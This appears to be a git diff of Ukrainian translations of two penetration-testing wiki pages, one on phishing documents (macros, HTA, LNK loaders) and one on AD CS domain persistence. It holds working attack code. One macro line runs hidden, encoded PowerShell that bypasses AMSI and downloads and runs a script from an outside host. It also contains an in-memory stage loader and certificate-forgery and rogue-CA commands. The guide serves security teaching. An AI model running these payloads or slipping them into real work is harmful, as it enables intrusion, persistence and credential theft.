CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||||
@ -64,14 +64,14 @@ Dim proc As Object
|
|||||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||||
proc.Create "powershell <beacon line generated>
|
proc.Create "powershell <beacon line generated>
|
||||||
```
|
```
|
||||||
#### Ручне видалення метаданих
|
#### Видалення метаданих вручну
|
||||||
|
|
||||||
Перейдіть до **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**.
|
Перейдіть в **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** біля **Document Properties and Personal Information**.
|
||||||
|
|
||||||
#### Розширення документа
|
#### Розширення документа
|
||||||
|
|
||||||
Коли закінчите, у випадаючому меню **Save as type** виберіть формат та змініть його з **`.docx`** на **Word 97-2003 `.doc`**.\
|
Після закінчення виберіть випадачний список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
|
||||||
Робіть так, бо ви **не можете зберігати макроси всередині `.docx`** і існує певна **стигма** щодо макро-увімкненого розширення **`.docm`** (наприклад, значок мініатюри має великий `!`, і деякі web/email шлюзи повністю їх блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**.
|
Зробіть це, тому що **you can't save macro's inside a `.docx`** і на розширення макросів **`.docm`** є певна **стигма** (наприклад, у мініатюри великий `!` і деякі web/email шлюзи взагалі їх блокують). Тому це **legacy `.doc` extension — найкращий компроміс**.
|
||||||
|
|
||||||
#### Malicious Macros Generators
|
#### Malicious Macros Generators
|
||||||
|
|
||||||
@ -79,11 +79,11 @@ proc.Create "powershell <beacon line generated>
|
|||||||
- [**macphish**](https://github.com/cldrn/macphish)
|
- [**macphish**](https://github.com/cldrn/macphish)
|
||||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||||
|
|
||||||
## Файли HTA
|
## HTA Files
|
||||||
|
|
||||||
HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (такі як VBScript і JScript)**. Вона генерує інтерфейс користувача й виконується як «повністю довірений» застосунок, без обмежень моделі безпеки браузера.
|
HTA — це Windows-програма, що **поєднує HTML і скриптові мови (таких як VBScript і JScript)**. Вона формує інтерфейс користувача і виконується як «fully trusted» application, без обмежень моделі безпеки браузера.
|
||||||
|
|
||||||
HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом із **Internet Explorer**, через що **`mshta` залежить від IE**. Тому, якщо його було видалено, HTA не зможуть виконуватись.
|
HTA запускається за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежить від IE**. Якщо його було видалено, HTA не зможуть виконуватись.
|
||||||
```html
|
```html
|
||||||
<--! Basic HTA Execution -->
|
<--! Basic HTA Execution -->
|
||||||
<html>
|
<html>
|
||||||
@ -138,11 +138,11 @@ var_func
|
|||||||
self.close
|
self.close
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## Примус NTLM-аутентифікації
|
## Примушення NTLM Authentication
|
||||||
|
|
||||||
Існує кілька способів **примусити NTLM-аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** в листи або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, що **спровокує** **аутентифікацію** просто при **відкритті папки.**
|
Є кілька способів **force NTLM authentication "remotely"**, наприклад, ви можете додати **невидимі зображення** в електронні листи або HTML, які користувач відкриє (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **trigger** **authentication** просто при **відкритті папки.**
|
||||||
|
|
||||||
**Перегляньте ці ідеї та інші на наступних сторінках:**
|
**Перевірте ці ідеї та інше на наступних сторінках:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -156,24 +156,24 @@ self.close
|
|||||||
|
|
||||||
### NTLM Relay
|
### NTLM Relay
|
||||||
|
|
||||||
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й виконати **NTLM relay attacks**:
|
Не забувайте, що ви можете не лише вкрасти hash або authentication, а й **perform NTLM relay attacks**:
|
||||||
|
|
||||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||||
|
|
||||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||||
|
|
||||||
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підставні документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk витягує і запускає його повністю в пам'яті.
|
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підробні документи (PDF/DOCX) та шкідливий .lnk. Суть у тому, що фактичний PowerShell loader зберігається в сирих байтах ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті.
|
||||||
|
|
||||||
Типовий порядок, реалізований .lnk PowerShell one-liner:
|
Типовий сценарій, реалізований .lnk PowerShell one-liner:
|
||||||
|
|
||||||
1) Знайти оригінальний ZIP у звичних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
|
1) Знайти оригінальний ZIP у поширених шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії.
|
||||||
2) Прочитати байти ZIP і знайти захардкожений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload.
|
2) Прочитати байти ZIP і знайти захардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера, — це вбудований PowerShell payload.
|
||||||
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підставний .docx, щоб виглядало легітимно.
|
3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підробний .docx, щоб виглядати легітимно.
|
||||||
4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||||
5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті.
|
5) Deobfuscate наступного етапу (наприклад, видалити всі символи #) та виконати його в пам'яті.
|
||||||
|
|
||||||
Приклад PowerShell-скелета для вирізання і запуску вбудованого етапу:
|
Example PowerShell skeleton to carve and run the embedded stage:
|
||||||
```powershell
|
```powershell
|
||||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||||
$paths = @(
|
$paths = @(
|
||||||
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
|||||||
Invoke-Expression $code
|
Invoke-Expression $code
|
||||||
```
|
```
|
||||||
Примітки
|
Примітки
|
||||||
- Доставка часто зловживає авторитетними субдоменами PaaS (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (подавати нешкідливі ZIPs залежно від IP/UA).
|
- Доставлення часто зловживає авторитетними PaaS піддоменами (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (повертаючи benign ZIPs залежно від IP/UA).
|
||||||
- На наступному етапі часто дешифрують base64/XOR shellcode і виконують його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
|
- Наступний етап часто декодує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску.
|
||||||
|
|
||||||
Persistence used in the same chain
|
Техніки персистенції, що використовуються в тому ж ланцюгу
|
||||||
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що вбудовує його, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
|
- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що його вбудовує, автоматично перезапускав payload. Див. деталі та готові до використання команди тут:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Hunting/IOCs
|
Пошук/IOCs
|
||||||
- ZIP files, що містять ASCII маркерний рядок (наприклад, xFIQCV), доданий до даних архіву.
|
- ZIP-файли, що містять ASCII-маркер (наприклад, xFIQCV), доданий до даних архіву.
|
||||||
- .lnk, який перераховує батьківські/користувацькі папки, щоб знайти ZIP і відкрити приманковий документ.
|
- .lnk, який перелічує батьківські/користувацькі папки, щоб знайти ZIP і відкрити підробний документ.
|
||||||
- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||||
- Тривалі бізнес-потоки, що закінчуються посиланнями, розміщеними на довірених доменах PaaS.
|
- Довготривалі бізнес-потоки, що закінчуються посиланнями, розміщеними під довіреними PaaS-доменами.
|
||||||
|
|
||||||
|
## Файли Windows для викрадення NTLM-хешів
|
||||||
|
|
||||||
|
Перегляньте сторінку про **places to steal NTLM creds**:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
## Посилання
|
## Посилання
|
||||||
|
|
||||||
|
|||||||
@ -1,27 +1,27 @@
|
|||||||
# AD CS Персистентність у домені
|
# AD CS — персистенція в домені
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
|
**Це підсумок технік персистенції в домені, описаних у [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Перегляньте для детальнішої інформації.
|
||||||
|
|
||||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||||
|
|
||||||
Як визначити, що сертифікат є CA сертифікатом?
|
Як визначити, що сертифікат є CA-сертифікатом?
|
||||||
|
|
||||||
Можна встановити, що сертифікат є CA сертифікатом, якщо виконані кілька умов:
|
Сертифікат можна вважати CA-сертифікатом, якщо виконуються кілька умов:
|
||||||
|
|
||||||
- Сертифікат зберігається на CA сервері, а його приватний ключ захищений за допомогою DPAPI машини або апаратно (наприклад, TPM/HSM), якщо ОС це підтримує.
|
- Сертифікат зберігається на сервері CA, а його приватний ключ захищений за допомогою DPAPI машини або апаратно (наприклад TPM/HSM), якщо ОС це підтримує.
|
||||||
- Поля Issuer і Subject сертифіката збігаються з distinguished name самого CA.
|
- Поля Issuer і Subject сертифіката відповідають distinguished name CA.
|
||||||
- Розширення "CA Version" присутнє виключно в CA сертифікатах.
|
- Розширення "CA Version" присутнє виключно в CA-сертифікатах.
|
||||||
- У сертифіката відсутні поля Extended Key Usage (EKU).
|
- Сертифікат не містить полів Extended Key Usage (EKU).
|
||||||
|
|
||||||
Щоб витягти приватний ключ цього сертифіката, підтримуваний спосіб — використати інструмент `certsrv.msc` на CA сервері через вбудований GUI. Однак цей сертифікат не відрізняється від інших сертифікатів, що зберігаються в системі; тому для його витягання можна застосувати методи на кшталт [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
|
Щоб витягти приватний ключ цього сертифіката, підтримуваним методом через вбудований GUI є інструмент `certsrv.msc` на сервері CA. Проте цей сертифікат не відрізняється від інших, що збережені в системі; отже, для витягнення можуть бути застосовані методи, такі як [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
|
||||||
|
|
||||||
Сертифікат і приватний ключ також можна отримати за допомогою Certipy, виконавши наступну команду:
|
Сертифікат та приватний ключ також можна отримати за допомогою Certipy, використавши наступну команду:
|
||||||
```bash
|
```bash
|
||||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||||
```
|
```
|
||||||
Після отримання сертифіката CA та його приватного ключа у форматі `.pfx`, такі інструменти, як [ForgeCert](https://github.com/GhostPack/ForgeCert), можна використати для генерації дійсних сертифікатів:
|
Отримавши сертифікат CA та його приватний ключ у форматі `.pfx`, можна використовувати інструменти на кшталт [ForgeCert](https://github.com/GhostPack/ForgeCert) для генерації дійсних сертифікатів:
|
||||||
```bash
|
```bash
|
||||||
# Generating a new certificate with ForgeCert
|
# Generating a new certificate with ForgeCert
|
||||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||||
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
|||||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Користувач, для якого фальсифікується сертифікат, має бути активним і здатним автентифікуватися в Active Directory для успіху процесу. Підробка сертифіката для спеціальних облікових записів, таких як krbtgt, неефективна.
|
> Користувач, на якого націлена фальсифікація сертифіката, повинен бути активним і здатним пройти автентифікацію в Active Directory, щоб процес увінчався успіхом. Підробка сертифіката для спеціальних облікових записів, таких як krbtgt, неефективна.
|
||||||
|
|
||||||
Цей підроблений сертифікат буде **дійсним** до вказаної дати завершення та доти, поки дійсний кореневий сертифікат CA (зазвичай від 5 до **10+ років**). Він також дійсний для **машин**, тож у поєднанні з **S4U2Self** атакуючий може **підтримувати персистентність на будь-якій машині домену** стільки, скільки дійсний сертифікат CA.
|
Цей підроблений сертифікат буде **дійсним** до вказаної дати закінчення та доти, поки дійсний кореневий сертифікат CA (зазвичай від 5 до **10+ років**). Він також дійсний для **машин**, тож у поєднанні з **S4U2Self** атакуючий може **підтримувати персистенцію на будь-якій машині домену** стільки, скільки дійсний сертифікат CA.\
|
||||||
Крім того, **сертифікати, згенеровані** цим методом **не можна відкликати**, оскільки CA про них не знає.
|
Крім того, **сертифікати, згенеровані** цим методом, **не можуть бути відкликані**, оскільки CA про них не знає.
|
||||||
|
|
||||||
### Робота під суворим застосуванням відображення сертифікатів (2025+)
|
### Робота в умовах Strong Certificate Mapping Enforcement (2025+)
|
||||||
|
|
||||||
З 11 лютого 2025 року (після розгортання KB5014754) контролери домену за замовчуванням перейшли у **Full Enforcement** для відображень сертифікатів. Практично це означає, що ваші підроблені сертифікати мають або:
|
З 11 лютого 2025 року (після розгортання KB5014754) контролери домену за замовчуванням використовують **Full Enforcement** для відображень сертифікатів. Практично це означає, що ваші підроблені сертифікати повинні або:
|
||||||
|
|
||||||
- Містити міцне прив'язування до цільового облікового запису (наприклад, SID security extension), або
|
- Містити міцний зв’язок з цільовим обліковим записом (наприклад, SID security extension), або
|
||||||
- Бути поєднаними з міцним, явним відображенням на атрибуті `altSecurityIdentities` цільового об'єкта.
|
- Бути поєднані з міцним, явним відображенням в атрибуті `altSecurityIdentities` цільового об’єкта.
|
||||||
|
|
||||||
Надійний підхід для персистентності — випустити підроблений сертифікат, зв'язаний з викраденим Enterprise CA, а потім додати сильне явне відображення до цільового principal:
|
Надійний підхід для персистенції — створити підроблений сертифікат, пов'язаний ланцюжком із вкраденим Enterprise CA, а потім додати міцне явне відображення до цільового principal:
|
||||||
```powershell
|
```powershell
|
||||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||||
@ -56,15 +56,15 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
|
|||||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||||
```
|
```
|
||||||
Примітки
|
Notes
|
||||||
- Якщо ви можете створити підроблені сертифікати, що містять розширення безпеки SID, вони відобразяться імпліцитно навіть під Full Enforcement. В іншому випадку надавайте перевагу явним та строгим відповідностям. Див. [account-persistence](account-persistence.md) для детальнішої інформації про явні відповідності.
|
- Якщо ви можете створити підроблені сертифікати, які містять SID security extension, вони будуть відображатися неявно навіть у режимі Full Enforcement. В іншому випадку віддавайте перевагу явним сильним відображенням. Див. [account-persistence](account-persistence.md) для докладнішої інформації про явні відображення.
|
||||||
- Відкликання не допомагає захисникам у цьому випадку: підроблені сертифікати невідомі базі даних CA і тому не можуть бути відкликані.
|
- Revocation не допомагає захисникам у цій ситуації: підроблені сертифікати невідомі базі даних CA і тому не можуть бути відкликані.
|
||||||
|
|
||||||
## Trusting Rogue CA Certificates - DPERSIST2
|
## Trusting Rogue CA Certificates - DPERSIST2
|
||||||
|
|
||||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
Об'єкт `NTAuthCertificates` призначений для містити один або кілька **CA certificates** у своєму атрибуті `cacertificate`, які використовує Active Directory (AD). Процес перевірки контролера домену передбачає перевірку об'єкта `NTAuthCertificates` на наявність запису, що відповідає **CA specified** у полі Issuer автентифікуючого **certificate**. Якщо відповідність знайдена, аутентифікація продовжується.
|
||||||
|
|
||||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
Зловмисник може додати самопідписаний CA сертифікат до об'єкта `NTAuthCertificates`, якщо він контролює цей AD-об'єкт. Зазвичай дозволи на зміну цього об'єкта надаються лише членам групи **Enterprise Admin**, а також **Domain Admins** або **Administrators** у домені кореня лісу. Вони можуть редагувати об'єкт `NTAuthCertificates` за допомогою `certutil.exe` командою `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, або використовуючи [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||||
|
|
||||||
Additional helpful commands for this technique:
|
Additional helpful commands for this technique:
|
||||||
```bash
|
```bash
|
||||||
@ -77,34 +77,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
|||||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||||
```
|
```
|
||||||
Ця можливість особливо актуальна при використанні разом із раніше описаним методом за участю ForgeCert для динамічної генерації сертифікатів.
|
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
|
||||||
|
|
||||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||||
|
|
||||||
## Зловмисна неправильна конфігурація - DPERSIST3
|
## Malicious Misconfiguration - DPERSIST3
|
||||||
|
|
||||||
Можливості для **персистенції** через **зміни дескрипторів безпеки компонентів AD CS** численні. Зміни, описані в розділі "[Domain Escalation](domain-escalation.md)", можуть бути зловмисно реалізовані атакуючим із підвищеними правами. Це включає додавання "control rights" (наприклад, WriteOwner/WriteDACL/etc.) до чутливих компонентів, таких як:
|
Можливості для **persistence** через модифікації **security descriptor** компонентів AD CS численні. Модифікації, описані в розділі "[Domain Escalation](domain-escalation.md)", можуть бути зловмисно реалізовані атакуючим із підвищеними привілеями. Це включає додавання "control rights" (наприклад, WriteOwner/WriteDACL/etc.) до таких чутливих компонентів, як:
|
||||||
|
|
||||||
- Об'єкт **AD computer** сервера **CA**
|
- The **CA server’s AD computer** object
|
||||||
- RPC/DCOM сервер **CA server’а**
|
- The **CA server’s RPC/DCOM server**
|
||||||
- Будь-який **нащадковий об'єкт AD або контейнер** у **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (наприклад, контейнер Certificate Templates, контейнер Certification Authorities, об'єкт NTAuthCertificates тощо)
|
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
|
||||||
- **AD групи**, яким делеговано права контролю AD CS за замовчуванням або організацією (наприклад, вбудована група Cert Publishers та будь-які її члени)
|
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
|
||||||
|
|
||||||
Приклад шкідливої реалізації: атакуючий із **підвищеними правами** в домені додає право **`WriteOwner`** до шаблону сертифіката за замовчуванням **`User`**, призначаючи себе як принципала для цього права. Щоб скористатися цим, атакуючий спочатку змінює власника шаблону **`User`** на себе. Далі на шаблон встановлюється прапорець **mspki-certificate-name-flag** зі значенням **1** для ввімкнення **`ENROLLEE_SUPPLIES_SUBJECT`**, що дозволяє користувачу вказати Subject Alternative Name у запиті. Після цього атакуючий може **зареєструватися** за допомогою цього **шаблону**, обравши ім'я **domain administrator** як альтернативне ім'я, і використовувати отриманий сертифікат для автентифікації як DA.
|
Приклад зловмисної реалізації: атакуючий з **підвищеними правами** додає право **`WriteOwner`** до дефолтного шаблону сертифікатів **`User`**, при цьому сам ставши суб'єктом для цього права. Щоб експлуатувати це, атакуючий спочатку змінює володіння шаблоном **`User`** на себе. Після цього на шаблоні встановлюється **`mspki-certificate-name-flag`** рівним **1**, щоб увімкнути **`ENROLLEE_SUPPLIES_SUBJECT`**, що дозволяє користувачу вказувати Subject Alternative Name в запиті. Надалі атакуючий може **enroll** за допомогою цього **template**, вказавши ім'я **domain administrator** як альтернативне ім'я, і використати отриманий сертифікат для автентифікації як DA.
|
||||||
|
|
||||||
Практичні параметри, які можуть встановити зловмисники для довгострокової стійкості в домені (див. {{#ref}}domain-escalation.md{{#endref}} для повних деталей та виявлення):
|
Практичні налаштування, які атакуючі можуть встановити для довгострокової персистенції в домені (див. {{#ref}}domain-escalation.md{{#endref}} для повних деталей та детекції):
|
||||||
|
|
||||||
- Прапори політики CA, що дозволяють SAN від заявників (наприклад, увімкнення `EDITF_ATTRIBUTESUBJECTALTNAME2`). Це зберігає шляхи типу ESC1 експлуатованими.
|
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
|
||||||
- DACL або налаштування шаблону, які дозволяють випуск сертифікатів, придатних для автентифікації (наприклад, додавання EKU Client Authentication, ввімкнення `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||||
- Контроль над об'єктом `NTAuthCertificates` або контейнерами CA для постійного повторного введення зловмисних емітерів, якщо захисники намагаються очищувати середовище.
|
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> У захищених середовищах після KB5014754 поєднання цих неправильних налаштувань із явними строгими відображеннями (`altSecurityIdentities`) забезпечує придатність ваших виданих або підроблених сертифікатів навіть коли DCs застосовують строгі відображення.
|
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
- Certipy – Довідник команд і використання forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user